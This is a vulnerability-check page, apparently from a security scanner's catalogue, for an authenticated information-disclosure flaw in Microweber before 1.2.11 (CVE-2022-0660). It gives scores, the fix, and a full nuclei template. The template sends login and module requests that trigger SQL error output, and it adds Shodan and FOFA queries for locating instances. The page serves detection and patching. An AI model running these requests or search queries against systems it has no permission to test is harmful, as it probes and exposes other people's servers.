Microweber <1.2.11 - Information Disclosure

highseverity

7.5CVSS score

6.9%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

Microweber before 1.2.11 is susceptible to information disclosure. An error message is generated in microweber/microweber which contains sensitive information while viewing comments from load_module:comments#search=. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to sensitive information.

Fix

Upgrade Microweber to version 1.2.11 or later to mitigate the vulnerability.

How to confirm it

Send: POST /api/user_login ; POST /module/
Positive when: contains(body_2,'QueryException') and contains(body_2,'SQLSTATE') and contains(body_2,'runQueryCallback') and contains(header_2,"text/html") and status_code_2==500

Run it with nuclei: nuclei -id CVE-2022-0660 -u <target>

The full check

id: CVE-2022-0660

info:
  name: Microweber <1.2.11 - Information Disclosure
  author: amit-jd
  severity: high
  description: |
    Microweber before 1.2.11 is susceptible to information disclosure. An error message is generated in microweber/microweber which contains sensitive information while viewing comments from load_module:comments#search=. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information.
  remediation: |
    Upgrade Microweber to version 1.2.11 or later to mitigate the vulnerability.
  reference:
    - https://huntr.dev/bounties/01fd2e0d-b8cf-487f-a16c-7b088ef3a291/
    - https://github.com/advisories/GHSA-hhrj-wp42-32v3
    - https://huntr.dev/bounties/01fd2e0d-b8cf-487f-a16c-7b088ef3a291
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0660
    - https://github.com/microweber/microweber/commit/2417bd2eda2aa2868c1dad1abf62341f22bfc20a
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-0660
    cwe-id: CWE-209
    epss-score: 0.06923
    epss-percentile: 0.94153
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: microweber
    product: microweber
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
  tags: cve,cve2022,microweber,disclosure,authenticated,huntr,vuln

http:
  - raw:
      - |
        POST /api/user_login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
      - |
        POST /module/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Referer: {{BaseURL}}admin/view:comments

        class=+module+module-comments-manage+&id=mw_admin_posts_with_comments&data-type=comments%2Fmanage&parent-module-id=mw-main-module-backend&parent-module=comments&data-search-keyword={{randstr}}

    matchers:
      - type: dsl
        dsl:
          - contains(body_2,'QueryException')
          - contains(body_2,'SQLSTATE')
          - contains(body_2,'runQueryCallback')
          - 'contains(header_2,"text/html")'
          - 'status_code_2==500'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from